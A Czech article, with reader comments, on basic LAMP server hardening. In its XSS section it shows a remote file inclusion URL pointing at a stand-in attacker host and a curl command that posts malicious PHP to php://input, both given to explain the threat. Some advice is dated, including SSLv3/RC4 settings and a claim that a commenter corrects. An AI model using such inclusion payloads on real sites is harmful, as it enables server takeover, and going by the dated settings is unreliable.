Přejít k navigační liště

Zdroják » Různé » Základní zabezpečení LAMP serveru

Základní zabezpečení LAMP serveru

Články Různé

S rozšířením VPS a podobných služeb se stále častěji stává, že se o webový server stará ten, kdo k tomu má ve firmě nejblíž, tedy nějaký správce sítě (to bývá ten lepší případ) nebo vývojář. V článku si ukážeme základní metody zabezpečení LAMP serverů, takový základní bezpečnostní check list…

V pondělí ráno přišel na abuse adresu naší firmy celkem klasický report: “Někdo z IP x.x.x.x zkouší na našem serveru lámat hesla hrubou silou, udělejte si s tím něco.”

IP byla adresa virtuálního serveru který hostujeme a k podezřelé aktivitě podle netflow skutečně docházelo. Majitel nebyl na telefonu dostupný, tak nezbylo než poslat mail s vysvětlením a virtuální server odpojit od sítě.

Majitel se později ozval a chtěl poradit, co má dělat, aby se to příště nestalo. Nejraději bych ho odkázal na nějaký článek, protože ta problematika je celkem rozsáhlá. Nic jsem ale nemohl najít. Zkusím tedy shrnout to, co jsem se za léta naučil, dle možností stručně a s příklady.

Motivace

Mnoho lidí ví, jak zabezpečit desktop (s Windows), tam jsou pravidla jasná: antivirus, firewall, aktualizace. Někteří přidávají ještě používat bezpečný prohlížeč. Jak ale zabezpečit server? Pravidla jsou celkem podobná: firewall, bezpečnostní aktualizace, používání bezpečných protokolů a silných hesel.

Také je velmi důležité omezit prostředky, které může server k obsluhování klientů využít. Zkrátka méně je někdy více. Nemá smysl povolit 100 PHP procesů s limitem 64M RAM každý na serveru s 1024M RAM. Obecně vyšší počet procesů než cca dvoj- až třínásobek CPU jader běžících naráz nemá moc smysl.

Když vám z důvodu nedostatku systémových prostředků spadne desktop, tak jednak víte, co jste s ním dělali, než spadl, a jednak ho můžete snadno restartovat. Když spadne z důvodu nedostatku prostředků webserver, tak ani nevíte, co to vlastně způsobilo, protože server před pádem třeba ani nestihne zapsat do logu.

To je mimo jiné důvod, proč se pro větší weby vyplatí používat proxy servery nebo balancery. Proxy mívá o řád vyšší výkon než aplikační server, takže lze minimálně zjistit, co aplikační server shodilo. O tom ale až někdy příště. Nyní zabezpečujeme samotný aplikační server.

Co si tedy dnes ukážeme?

Ukážeme si jak upravit konfiguraci LAMP serveru tak aby byl alespoň základně zabezpečený a nehrozilo, že vám server někdo během pár chvil vyhackuje, unese a bude vaším jménem škodit.

Abychom mohli server zabezpečit, musíme porozumět možným hrozbám a pokud možno je umět nasimulovat, abychom mohli ověřit, že zvolené zabezpečení funguje.

  • SSH bruteforce
  • kradení FTP účtů
  • kradení účtů do databáze/phpMy­Admina
  • OOM na MySQL
  • OOM na Apache2/PHP
  • XSS
  • http DoS slow loris
  • nastavení firewallu
  • kontrola aktualizací

SSH bruteforce password cracking

Nejjednodušším způsobem, jak získat cizí špatně zabezpečený linuxový server, je uhodnout heslo roota. To může být překvapivě snadné, protože i v roce 2011 jsou lidé, kteří zvolí jako heslo roota ‘testtest’, vzestupnou nebo sestupnou číselnou řadu nebo hostname serveru (např. pro hostname neptun.domena.cz root heslo neptun). Řešení: nepoužívat hesla vůbec. Pokud to z nějakého důvodu není možné, nepoužívat ssh přístup k serveru přes účet root, místo toho používat uživatele user a sudo nebo su. Pozor, i v případě, že se rozhodnete přihlašovat k serveru pomocí klíčů, musí být heslo roota dostatečně bezpečné, protože su může provést kdokoli, kdo se na server alespoň trochu dostane, tedy např. váš uživatel nebo i zákeřný cizí kód, který získá možnost spustit kód např. pod účtem webserveru.

Ve výchozí debianí instalaci používám k nastavení požadovaného způsobu přístupu následující kód:

sed -i -e 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i -e 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
u=adminuser
useradd -s /bin/bash -m $u
mkdir ~$u/.ssh
echo "ssh-rsa AAAA…..= user@host" > ~$u/.ssh/authorized_keys
chmod 600 ~$u/.ssh/authorized_keys
chmod 700 ~$u/.ssh
chown -R $u:$u ~$u/.ssh
echo "$u         ALL=(ALL)       ALL" >> /etc/sudoers
/etc/init.d/ssh restart

V této ukázce kódu změním nastavení ssh serveru tak, aby server přijímal pouze non-root uživatele a navíc zakážu přihlašování heslem, ve výchozí situaci zbude tedy možnost přihlašování klíči.

Další možnosti ochrany proti útokům hrubou silou na ssh jsou:

  • používání IP accesslistu
  • používání nestandardního ssh portu
  • ťukání

Já osobně považuji přístup přes klíče za základ a tyto metody za doplňkové. Proto jen v rychlosti:

ufw allow from my.office.add.ress/32 to any proto tcp port 922
ufw allow from my.home.add.ress/32 to any proto tcp port 922
sed -i -e 's/Port 22/Port 922/' /etc/ssh/sshd_config
/etc/init.d/ssh restart

O ťukání na server se již česky psalo: http://www.ro­ot.cz/clanky/port-knocking-zaklepejte-na-svuj-server

Kradení FTP účtů

Dalším zdrojem problémů je přístup přes FTP, který stále mnoho tvůrců webů požaduje. FTP používá nejčastěji nezabezpečenou komunikaci, takže heslo lze odposlechnout kdekoliv po síti, nejsnáze přímo na počítači, ze kterého se uživatel na FTP připojuje. Webmasteři také s oblibou používají Total Commander a hesla k FTP účtům ukládají v něm. Útočník tak nemusí čekat, až se bude webmaster na server připojovat, a hesla k FTP si může vyzvednout okamžitě. Hesla sice v souboru nejsou uložená přímo v čitelné podobě, ale nejsou ani zašifrovaná. Buď lze použít nástroje jako tento http://www.re­active-software.com/total-commander-password-recovery.html, nebo lze prostě wcftp.ini stáhnout a spustit se svým Total Commanderem a rovnou se k serveru připojit.

Možných řešení je víc, osobně se mi osvědčilo FTP prostě nepoužívat. Zhruba od verze 5.1 má OpenSSH integrovaný sftp server, který má tu zajímavou vlastnost, že lze uživatele zamknout do chrootu, aniž by bylo potřeba složitě kopírovat knihovny a vytvářet dev nody, potřebné pro funkčnost předchozích řešení.

Konfigurace je triviální. Na konec souboru /etc/ssh/sshd_config přidáme následující blok

AuthorizedKeysFile /etc/ssh-keys/%u.pub
ChrootDirectory /var/www/%u
AllowTcpForwarding no
Subsystem sftp internal-sftp

Match Group admin
    ChrootDirectory none
    AllowTcpForwarding yes

Umístění veřejného ssh klíče mimo chroot prostor uživatele jsem zvolil záměrně, aby si uživatel nemohl omylem svůj klíč smazat (Co je to tady za nepořádek, žádné skryté složky s podivnými soubory tu nechci, když tu má být můj web). Krom toho je potřeba udělat skupinu admin a do ní dát našeho uživatele adminuser, a také je potřeba přesunout nebo nalinkovat jeho veřejný klíč do /etc/ssh-keys. To je proto, že nechceme, aby náš administrátor byl omezen chrootem stejně jako ostatní uživatelé.

Sshd vyžaduje, aby chroot dir byl vlastněn rootem, takže v praxi jsem nenechal dávat uživatele jejich web přímo do kořenu, ale vytvořil jsem jim složku www.domena.cz, která je již vlastněna jimi.

Dále jsem chtěl zajistit, aby při pokusu o přímý ssh přístup uživatel dostal hlášku, že přístup je pouze přes sftp. K tomu jsem potřeboval do chrootu umístit binárku, která by toto napsala a skončila, a pokud možno se nedala nějakými triky přimět ke spuštění interaktivního shellu. Jedná se v podstatě o program hello world, takže v C může vypadat asi takto:

#include <stdio.h>
int main() {
 printf("Only sftp access is allowed. Get sftp, or http://winscp.net/
and try again.n");
return 0;
}

a tento je třeba přeložit a slinkovat staticky, aby se nemusely kopírovat knihovny, asi takto:

gcc -Wall -W -Os -static -out sftp-only sftp-only.c
strip sftp-only

Vzniklá binárka na mém stroji má asi půl mega. Komu by to vadilo, může si udělat za domácí úkol hello world v assembleru, lze se dostat na půl kila.

Binárku umístíme do /var/www/$user/bin

Nyní máme sftp server připraven, otestujeme pomocí vhodného klienta, např. winscp (vcelku chodí ve wine, takže lze otestovat z linuxu), nebo např. pomocí kio-sftp z file manageru v KDE.

Kradení účtů k databázi

Většina webmasterů uvítá možnost použití phpMyAdmina.

PhpMyAdmin je sice standard, ale v historii měl problémy (např. http://secuni­a.com/advisori­es/product/1720/?tas­k=advisories_2008), takže stojí za to zmínit český Adminer (dříve phpMinAdmin), který sice nemá debian/ubuntu balíček, ale je v jediném souboru a tak lze nainstalovat jediným příkazem:

wget -O adminer.php http://downloads.sourceforge.net/adminer/adminer-3.3.3.php

Mnoho hostingů správce databáze provozuje přes http. Přitom je velmi snadné rozchodit https přístup. Není-li login do administrace MySQL zabezpečen, je snadné přístupové údaje odposlechnout.

V prvním kroku vygenerujeme privátní klíč a žádost o podepsání certifikátu:

# openssl genrsa -out www.domena.cz.key 4096
# openssl req -new -key www.domena.cz.key -out www.domena.cz.csr
You are about to be asked to enter information that will be incorporated into your
certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter ‘.’, the field will be left blank.
——-
Country Name (2 letter code) [AU]:CZ
State or Province Name (full name) [Some-State]:Czech Republic
Locality Name (eg, city) []:Prague
Organization Name (eg, company) [Internet Widgits Pty Ltd]:punkhosting
Organizational Unit Name (eg, section) []:phpMyAdmin
Common Name (eg, YOUR name) []:www.domena.cz
Email Address []:admin@domena.cz
Please enter the following ‘extra’ attributes to be sent with your certificate request
A challenge password []:
An optional company name []:

Důležité je při generování CSR vyplnit jako Common Name FQDN jméno serveru, i když nápověda říká “eg, YOUR name”.

Nyní si certifikát necháme podepsat, například zadarmo na https://www.star­tssl.com/, nebo na zkoušku zadarmo na https://rapid­ssl.com nebo lze využít služby české firmy IglooNet https://www.ssl-certifikaty.cz/

Pokud máme privátní klíč a podepsaný certifikát, můžeme nastavit Apache.

Provedeme jako root:

# a2enmod ssl
# a2ensite default-ssl

A do souboru /etc/apache2/sites-enabled/default-ssl umístíme toto:

SSLEngine on
SSLProtocol -ALL +SSLv3 +TLSv1
SSLCipherSuite ALL:!aNULL:!ADH:!DH:!EDH:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH
SSLCertificateFile    /etc/ssl/certs/www.domena.cz.crt
SSLCertificateKeyFile /etc/ssl/private/www.domena.cz.key

Jedná se pouze o cesty k souborům a nastavení povolených šifer a protokolů. Výchozí hodnoty jsou pro dnešní dobu již příliš benevolentní. Pokud je vše v pořádku, po restartu apache2 je možné otevřít https://www.domena.cz/ a také je možné otestovat kvalitu nastavení pomocí jednoduchého testu zde: https://www.ssllab­s.com/ssldb/

Pokud použijeme výše uvedené nastavení, výsledek by měl být alespoň 80%. Zkuste si tento test na některé z českých bank.

Problémy s prostředky zabranými databází – OOM

V PHP existuje možnost ukončit provádnění skriptu po určité době, např. 10 sekund. PHP ukončí skript, ale pokud tento zrovna čeká na dotaz v databázi, tak provádění dotazu v DB se neukončí. Co udělá uživatel, když se mu stránka nenačte? Začne zuřivě mačkat F5, očekává, že zuřivější refreshování přinese rychlejší vykreslení stránky. Během několika sekund máme zabraná všechna spojení s databází a stránky nefungují.

Řešení: žádné snadné neexistuje. Osvědčilo se mi ale nastavovat resource limity databáze tak, aby spíš přestaly fungovat jedny stránky, než aby spadnul celý server.

Základním nástrojem je mysqltuner.pl. Instaluje se

# wget http://mysqltuner.pl
# chmod +x mysqltuner.pl

mysqltuner.pl po spuštění načte informace o databázích, tabulkách a nastavení serveru a vydá doporučení pro optimalizaci. Osvědčilo se mi zejména snížit maximální počet spojení a maximální počet spojení jednoho uživatele.

# max_connections=60 do /etc/mysql/my.cnf

Přidělování práv uživatelům:

GRANT ALL PRIVILEGES ON `database`.* TO user@localhost WITH
MAX_USER_CONNECTIONS 20;

OOM v apache2

V balíčku apache2-utils se nachází užitečný nástroj ab. To je zkratka za Apache Benchmark a skutečně ho lze využít k testování výkonu. My jsme jej například používali k testování výkonu virtuálního clusteru ze 4 až 10 apache2 serverů s varnish load balancerem v rámci projektu horizontálního škálování webové aplikace.

ab je ale užitečný i pro jednotlivé servery. Hlavní příjemnou vlastností je, že ab umí stahovat paralelně a nepoužívá k tomu vlákna ani procesy, ale (na linuxu) jaderné volání epoll (podobně jako nginx), takže dokáže bez velké režie obsluhovat třeba i tisíce současných spojení.

ab -c 10 -n 100 http://localhost/page.php

V uvedeném příkladu stáhneme stránku page.php celkem stokrát, a to deseti současnými spojeními.

Z nějakého důvodu je výchozí instalace apache2 s php v debianu nastavena pro server s asi tak 20GB RAM:

root@jl-test-debian6:~# cat /etc/php5/apache2/php.ini  | grep memory_limit
memory_limit = 128M
root@jl-test-debian6:~# cat /etc/apache2/apache2.conf | grep MaxClient
# MaxClients: maximum number of server processes allowed to start
    MaxClients          150

Pokud se použije (pro php5 výchozí) MPM prefork, znamená to skutečně max. 150 procesů a každý může teoreticky zabrat 128M ram jen v PHP datech, nepočítaje v to sdílené knihovny a pod.

PHP memory limit je třeba zvolit dle provozované aplikace. Obecně žravé jsou fotogalerie, protože nejčastěji generují náhledy v RAM, t.j. pro fotku 12Mpix je třeba minimálně 64M RAM pro zpracování. Spousta aplikací ale není tak náročná, takže např. pro server s 512M RAM bych navrhoval začít na následujících hodnotách:

# /etc/php5/apache2/php.ini
memory_limit = 24M
# /etc/apache2/apache2.conf
MaxClients 20
MaxSpareServers  10
MinSpareServers  5

Součin MaxClients a php memory_limit se musí vejít do RAM, server nesmí swapovat, jinak půjde výkon limitně k nule.

Dále je dobré omezit dobu otevření keep-alive spojení, výchozí hodnota KeepAliveTimeout 15 je při dnešních rychlostech broadband připojení zbytečně benevolentní.

Nyní je možné zkusit test s programem ab. Počet konkurenčních spojení můžete klidně nastavit na 500, server by neměl spadnout. Doporučuji však pro jistotu před testem vypnout swap ( swapoff -a), lépe je nechat apache2 zabít OOM killerem, než mít desítky minut naprosto zabržděný systém.

XSS problémy

Mnoho lidí začalo používat PHP jako jednoduchý šablonovací nástroj

<?php
  require "header.php";
  require $_GET['page'].'.php';
  require "footer.php";
?>

a cesta k podstránce pak je: http://www.do­mena.cz/index­.php?page=kon­takty

Pro útočníka jsou to otevřená vrata. Stačí zavolat http://www.do­mena.cz/index­.php?page=http://bl­ackserver.ru/hac­k.php?zbytek= a server poslušně otevře http://blackser­ver.ru/hack.php?zby­tek=.php a začne provádět kód. PHP samo o sobě buď neumí nebo neumělo zákázat načtení proudu místo souboru pomocí require. V php jsou sice direktivy:

allow_url_fopen
allow_url_include

ale i když jsou zakázány, lze použít url php://input a zákeřný kód poslat přímo do requestu pomocí metody POST, například takto:

$ curl -d @~/bad_file.php http://www.domena.cz/index.php?page=php://input 

Suhosin řeší tento a mnoho jiných problémů a umožňuje poměrně dobře pozakazovat rizikové vlastnosti.

Instalace v debianu je jednoduchá:

# apt-get install php5-suhosin

Konfigurace je pak v /etc/php5/conf.d/suhosin.ini  například takováto:

extension = suhosin.so
suhosin.log.syslog = 511
suhosin.log.syslog.facility = 30
suhosin.log.syslog.priority = 1
suhosin.simulation = 0
suhosin.mail.protect = 1
suhosin.post.max_vars = 1000
suhosin.post.max_value_length = 8097152

DoS – Omezení útoků typu slowloris

Více info: http://www.ro­ot.cz/clanky/u­tok-slowloris-aneb-plizive-nebezpeci-pro-web-servery/

Osvědčilo se mi pomocí modulu mod_limitipconn omezit max počet spojení pro jedno IP např. na 15, takže k DoS serveru je potřeba alespoň mít více IP. Metoda nastavení je popsána v odkazovaném článku. Vhodné řešení je také použít před apache2 nginx jako proxy, protože nginx není na tento typ útoku citlivý.

Firewall

V distribuci Ubuntu je k dispozici nástroj ufw, což značí “Nekomplikovaný firewall” – a je to pravda. Většina nástrojů pro správu firewallu je totiž určena pro routery, připojené do dvou nebo více sítí. Klasický server nebo desktop má ale jen jednu síťovou kartu a tak je nastavení pomocí “velkého” nástroje, jako je třeba shorewall, zbytečně složité. (Stojí také za zmínku, že v Debianu je od Squeeze dále ufw také k dispozici a je to jeden z mála případů, kdy dochází k obohacení debianu prací lidí z Cannonical a ne obráceně – pozn.aut.)

Ve výchozím nastavení v ufw může být vypnuta podpora ipv6, změníme tedy v /etc/default/ufw  IPV6=no na IPV6=yes.

ufw enable
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow 22/tcp

A je to – máme nastaven minimální firewall.

Zajímavou a užitečnou vlastností ufw je možnost nastavení logování, kdy od úrovně medium se mj. logují všechna nová spojení (případně úroveň high to dělá bez rate limitu, což ale může být příliš). Jak již bylo zmíněno, někdy server ani nestačí zapsat do logu. Potíž je také v tom, že apache2 zapisuje do logu dokončené požadavky. Pomocí firewallu si můžeme nechat logovat nová spojení, t.j. začátky požadavků. Firewall loguje skrze kernelovské volání printk, takže zprávy jdou do ringbufferu, příkaz dmesg funguje i v případě, že syslog nezapisuje.

Bezpečnostní aktualizace a jejich kontrola

Obecně nedůvěřuji tomu, když se server aktualizuje sám a kdy se mu zachce. Na druhou stranu je dobré vědět, zda jsou nějaké aktualizace dostupné, případně i zda jsou to kritické aktualizace. K tomu osobně používám skript check_apt z balíčku nagios-plugins, který je možné používat jak s dohledovým sw nagios, tak samostatně, protože všechny nagios pluginy vrací nenulový exit kód, pokud detekují varování nebo kritický stav.

Pro jednoduchost si ukážeme, jak kontrolovat dostupnost aktualizací 1× denně pomocí cronu a v případě, že nějaké aktualizace jsou si necháme zaslat e-mail:

Otevřeme v editoru /etc/cron.daily/check_apt a zadáme:

# minuta hodina den mesic dvt cmd
0 7 * * * /usr/lib/nagios/plugins/check_apt || (echo aktualizuj | mail -s "check_apt: "`hostname -f` my@email.cz)

Závěr

Dnes jsme si nakousli část ze svaté trojice linuxového admina (dohled, zabezpečení, zálohování). Doufejme, že tento úvod bude užitečný zejména pro začínající kolegy. Také budu rád, když se zkušenější kolegové podělí o své postřehy a nápady v diskusi.

Co se do tohoto dílu nevešlo, ale mohlo by stát za úvahu pro volné pokračování:

  • použití nginx/varnish/per­lbal/haproxy jako proxy, cache, load balancer
  • shared hosting s mpm_itk
  • output firewall/transp. proxy
  • používání noexec,nosuid,nodev mount options
  • použití mod_logio pro logování POST dat

Další odkazy

Autor článku nabízí čtenářům možnost vyzkoušet si nabyté informace na testovací šabloně – lze z ní vytvořit virtuální server u Virtualmaster.cz (nutno přidělit alespoň 128MB RAM). Můžete rovněž využít autorův skript, který aplikuje výše uvedené zásady na váš systém.

Komentáře

Subscribe
Upozornit na
guest
59 Komentářů
Nejstarší
Nejnovější Most Voted
Inline Feedbacks
View all comments
Jenda

„Nemá smysl povolit 100 PHP procesů s limitem 64M RAM každý na serveru s 1024M RAM.“

Z principu by to vadit nemělo, ten proces taky nemusí sežrat celých 64 mega (že je praxe často jiná…)

„Pokud to z nějakého důvodu není možné, nepoužívat ssh přístup k serveru přes účet root, místo toho používat uživatele user a sudo nebo su.“

A to jako pomůže čemu?

Pozor, v tom populárním útoku (ukradení údajů trojanem) je TotalCommander zcela nevinně a úplně stejný útok lze už z principu provést na libovolného klienta a libovolný protokol.

K čemu je dobré nastavovat firewall na default drop a pak povolovat přístup k příslušným portům, když nám na serveru stejně nic jiného neběží?

ad

Lebo stále sa nájde niekto, komu beží na webserveri cups a mysql nielen na localhoste?a

Heron

V takovém případě je ale problém se zabezpečením úplně jinde (ve správci) a ani nastavený firewall (tím správcem) na tom nic nezmění.

Ten článek je sice obecný, ale má pravdu. Osobně si myslím, že na LAMP server stačí DB přes UNIX socket (případně pro menší weby klidně nějaká souborovová DB s přístupem přes knihovnu (trivial database, sqlite), Apache s nastaveným SSL a webové aplikace. SSH tam běží by default. Nic jiného není potřeba.

Přes SSH (autentizace pomocí klíčů) tam jdou nahrávat i soubory (SFTP). Port 22.
Přes Apache se tam dostanou uživatelé. Port 22 a 443.

Nic víc tam neběží, firewall je tedy zbytečný (povoloval by všechny dostupné porty).

Dan7

Napr. protoze kdyz nekdo na ten server dopravi nejakeho v php napsaneho demona a pusti si ho na portu 10000, tak se na nej zvenku nepripoji.

Mimochodem, je radove efektivnejsi, kdyz ssh je omezeno firewallem na duveryhodne IP adresy, nez kdyz je prestehovano na nejaky obskurni port.

Martin Třinec

Omezení na důvěryhodné IP vás ale může nepříjemně kousnout právě když to nejméně potřebujete.

Některé firmy (UPC opakovaně) vám změní „pevnou“ IP právě ve chvíli nějakého průšvihu.

patrik.sima

UPC mění IP adresu jen při dlouhém výpadku/vypnutí modemu. Jinak je pořád stejná.
Ale když se změní je to problém. Člověk se strašně diví, proč mu nejede SSH. A než mu to dojde…

Martin Třinec

Mluvím tu o PEVNÉ IP, která má být tak pevná, že stojí pevných 200 Kč za měsíc!

A ta by se fakt bez upozornění měnit neměla ani kdyby trpaslíci v modemu poskakovali!

Xjmeno363

ale tady jde o tu na druhé straně ;)

Franta

Ta na serveru by snad měla být pevná vždycky, ne?

Heron

Nejbezpečnější je zabezpečit onen ssh démon.

Seznam důvěryhodných adres se mění a je problém s jejich revokováním (tedy odstraňováním již nedůvěryhodných). Dále je problém, pokud se někdo chce nutně připojit z nové lokality (třeba přes GRPS v době výpadku jeho pevné konektivity).

Takovéto „zabezpečení“ pouze hází klacky pod nohy tomu, kdo tam chce oprávněně něco dělat.

Dudo

Mne sa osvedčil denyhost.
Mám zapnúté automatické sťahovanie zozbieraných ip adries z blacklistov.

JirkaS

„Pokud to z nějakého důvodu není možné, nepoužívat ssh přístup k serveru přes účet root, místo toho používat uživatele user a sudo nebo su.“

Také jsem to tak před lety používal, ale pak jsem se někde dočetl (a zaboha si nemůžu vzpomenout kde), že z bezpečnostního hlediska je podstatně horší přihlásit se jako user a pak udělat ‚su‘, než přihlásit se rovnou jako root. Šlo nějak o to, že při prvotním přihlášení je heslo přenášeno jiným způsobem než později v ‚su‘. Že je možné jej sledováním šifrovaného streamu časem získat.

tomo

Desifrovat spat SSH session (v rozmunom case) by kompromitovalo cele ssh.

Ja sa na to pozeram tak ze root je na kazdom pocitaci – tak sa mozes pustit do hadania jedo hesla – co ak nahodou je za servrom NBUsr123 alebo nieco podobne neuhadnutelne. Ale uzivatel kvido_zo_zapadakova alebo nieco podobne zmysluplne ta ani ako acount nenapadne.

Proste je horsie hadat username+passwd ako passwd.

Tod moj pohlad preco nie root na verejnom SSH

JirkaS

Nepochopil. Neřekl jsem dešifrovat.
Šlo nějak o to, že v případě prvotního přihlášení odchází vše najednou a přímo heslo v těch datech není. Pokud je dodatečně použito ‚su‘, tak už je heslo součástí streamu. Podle frekvence odesílání dat (tedy úhozů) se pak dá odhadnout minimálně délka hesla. A pokud někdo začíná komunikaci vždy tím, že napíše ‚su -‚, tak možná i něco jiného…
Nechci se ale pouštět do dalších debat, protože si to přesně nepamatuju. Spíš se ten článek pokusím najít, ale zatím se nedaří. Je to přeci jen už minimálně pět let…

V.

Když si pustim screen a pak v něm dávam su nebo sudo, tak datový tok se mění, ale snad ne tolik?

tomo

Myslim ze to bolo rozobrane v nejakom phracku. A cital som to tiez – uz je to fakt dost davno. V podstate tam bola pouzita rovnaka myslienka ako teraz pri utoku na SSL technologiu. t.j. ze session by sa mohol lahsie desifrovat pokial je entropia nizka. Co je zo zaciatku dost dobre mozne, pretoze utocnik vie co sa posiela – protokol nepusti.

Osobne neviem v akej forme ssh posiela data na server – hadat neplanujem. Osobne mam root konto priamo cez ssh na kompe co je videt z netu zakazane. K tomu to este bezi na vysokom porte – nech to netrafi kazdy skript.

Session zacinam obvikle tym ze kuknem co sa dialo z apache – k tomu mi stacsia aj zakladne USER_LOGIN prava no a ked chcem nieco potunit tak prepinam cez su na root-a.

Jenda

„Ja sa na to pozeram tak ze root je na kazdom pocitaci – tak sa mozes pustit do hadania jedo hesla – co ak nahodou je za servrom NBUsr123 alebo nieco podobne neuhadnutelne. Ale uzivatel kvido_zo_zapadakova alebo nieco podobne zmysluplne ta ani ako acount nenapadne.“

A není lepší rootovi nastavit silnější heslo, nebo ještě lépe přihlašování heslem nepoužívat?

Josef Liška

Rozdíl v obtížnosti ukradení hesla z TC a v ukradení ssh klíče je značný. SSH klíč je uložen na disku zašifrovaný a i v případě, že používáte ssh agenta tak tento jej klientovi nevydá a místo toho provádí ověření sám, tj. klíč jako takový by neměl jít snadno ukrást.

Firewall je dobré mít nastaven i proto, že jsem viděl snahy o otevření backdoor portu se shelem uživatele apache skrze php xss díru.

Jenda

Tak si odposlechnu passphrase, kterou je ten klíč zašifrovaný, ne?

bambas

„Pokud to z nějakého důvodu není možné, nepoužívat ssh přístup k serveru přes účet root, místo toho používat uživatele user a sudo nebo su.“

A to jako pomůže čemu?

To pomuze tomu, ze uzivatel muci mit klic, pomoci ktereho se prihlasuje, takze se vylucuje moznost bruteforce utoku na heslo roota (ktery neni povolen na ssh) a i na uzivatele (nema heslo, jen certifikat). Samozrejme, a to je v clanku zmineno, je mozne, ze libovolny utok muze provest konkretni uzivatel (at vedome ci ne) – ma pristup k serveru.

Jenda

Ale root přece taky nemusí mít heslo a může mít jen klíč.

MartinX

No, tie brute-force utoky sa casto precenuju. Mam ssh na standartnom porte 22 (root nema moznost priameho loginu), kazdy den tak 3-5 utokov a po 5 pokusoch je IP adresa zablokovana v /etc/hosts.deny. Staci ak bezi DenyHosts.

Heron

Na tohle pozor. Už jsem se přihlašoval ze sítě (NAT za 1 IP pro více klientů) a nedostal jsem se na ssh. Na vině byl právě DenyHosts, který danou IP zablokoval, protože tam byl nějaký zombie pc. Řešením je skutečně dobře zabezpečit danou službu (přihlašování pomocí klíčů), potom tyto slovníkové útoky nejsou problém.

tdvorak

Ještě tu nepadla metoda port knocking. Používá to někdo? Máte nějaké zkušenosti?

MartinX

Ano, raz sa to stalo aj mne. Problem s prihlasenim cez kluc je ten, ze sa neprihlasim, ak nemam na lokalnom pocitaci prislusny kluc. To moze tiez skomplikovat situaciu, ak sa potrebujem nutne dostat na server z cudzieho pocitaca (chapem potencialny problem s keyloggermi a pod., ale niekedy to jednoducho pouzit treba).

DoubleThink

Ta direktiva bude postačovat, podle dokumentace omezuje (mimo jiné) i php:// a data:// wrapper.

v6ak

Postačovat nebude, možností útoku je více, byť‘ některé nejsou tak snadné (např. include uploadovaného souboru a prý nějaký útok pomocí /proc).

Postačuje rozumně nastavený whitelist nebo whitelist znaků.

DoubleThink

Víš vůbec o čem je tu řeč? Nemám úplně ten pocit. Include uploadovaného souboru je realizován právě přes onen php:// wrapper. Útok pomocí /proc mi nic neříká – pravděpodobně pokus o přístup k nějakému internímu souboru nebo pipe, což se řeší správným vymezením pravomocí http serveru.

Jinak samozřejmě, kdo sestavuje argument pro include z externích proměnných je kokot, nicméně intervence správce serveru má přece taky své meze – pokud by mi webhostér kecal do toho, jakou množinu vstupů smím použít u té které funkce, tak bych ho hnal svinským krokem.

v6ak

Ale vím. Include uploadovaného souboru (tím myslím nemyslím tělo požadavku, ačkoli to taky znám a mám úspěšně vyzkoušeno na některých webech) se dá udělat přes /tmp nebo kam se to ukládá. Mám to v laboratorních podmínkách vyzkoušeno. A neměl by to být až takový problém, stačí začít s malým číslem a pak po dvou přidávat, jednou by to mělo vyjít. Není-li na ten server uploadováno každou chvíli, může to být celkem rychlé. (A na sdílených hostinzích to bude ještě jednodušší…)

Útok přes /proc zde nevysypu zpaměti, ale četl jsem o něm na soom.cz a pamatuji si, že něcl takového jde.

A stejně, v každém případě si těžko můžeš být jist, že jsi postihl všechny možnosti. Ale to asi víš (odhaduji z „kdo sestavuje argument pro include z externích proměnných je kokot“).

„pokud by mi webhostér kecal do toho, jakou množinu vstupů smím použít u té které funkce, tak bych ho hnal svinským krokem.“
Souhlas, toto není věcí webhostéra. Já říkám, že webhostér (nebo obecně správce serveru) se sice může snažit, ale je to spíš jako bonus. (A u general-purpose serverů jako hostingy by to nemělo jít do extrémů, jinak to moc general-purpose není.) Základ je to dobře naprogramovat…

Jakub Vrána

allow_url_include zamezí Remote File Inclusion od PHP 5.2.1, kde zahrnul mj. i php://input – informace v článku je skutečně chybná / zastaralá. Jak ale správně podotýká v6ak, tak nezamezí Local File Inclusion – tomu lze zabránit pomocí open_basedir, mnohem lépe ale samozřejmě lepším návrhem aplikace (to ale není v moci webhostingu).

v6ak

Tak v obecném případě může uživatel mít možnost nahrát nějaký soubor (vím, tady je další prostor pro bezpečnostní chybu, ale to nemám namysli) a ten pak includovat. Direktiva open_basedir ale může spolu s allow_url_include výrazně omezit možnosti útočníka v praxi a snad v některých případech i zabránit útoku.

Martin Hruška

Stálo by za zmínku, že AppArmor je parádní hračka nejen pro mass hosting.

Jdou s tím dělat fakt zajímavé věci.

patrik.sima

A taky se občas stane, že zajímavě něco nejede a člověk vůbec netuší proč. A v defaultu to rádo spamuje logy. Pak se příjemně čtou.

Josef Liška

S tímto nástrojem jsem také nikdy neměl moc trpělivosti. Pro mass hosting je super nástroj mpm_itk. Výhodou je možnost drop-in replacementu apache2_mpm_p­refork.

František Kučera

jj, ale někdy stačí iptables (a jsou účinější než zákaz tunelů v SSH).

shade

1. Dneska už je mnohem lepší na serveru místo apache modulu použít PHP5-FPM, kde PHP5 nemusí běžet s právy webserveru a výkonově je na tom pravděpodobně i lépe.

2. Neplést si suhosin patch a suhosin php modul. Jsou to dvě rozdílné věci (sice od toho samého autora, ale pořád je to něco jiného). Suhosin patch je zakompilovaný přímo v PHP5 (v Debianích a Ubuntu balících) a nelze vypínat/zapínat.

Martin Malý

„Patch“ je moje (=editorova) chyba, omlouvám se a opravuju.

Josef Liška

Díky za upozornění na php5-fpm,já používám pro účely shared hostingu mpm-itk, což dělá podobnou věc a líbí se mi na tom, že to dělá přesně to co mi stačí, u php5-fpm zase bude značný prostor pro optimalizace, například mi přijde jako killer feature php5-fpm ten slowlog – velmi jednoduchá, ale šikovná věc.

Dragonn

Hele, co si myslíte o změně root loginu? Přece superuživatel je ten, kdo má uid #0 a ne podle loginu. To by mohlo i docela řešit již výše zmiňovaný problém s tím, že na 95% serverů lze předpokládat existenci root uživatele a stačí „jenom“ hádat heslo. Popravdě nevím, jestli by to nemělo nějaký další dopady na některé systémové služby a rád bych, kdyby se k tomu vyjádřil někdo, kdo se v tom vyzná. Děkuji

František Kučera

1) vzhledem k tomu, že na většině serverů mám zakázané přihlašování heslem a používám klíče, je úplně jedno, jak se jmenuje root :-)

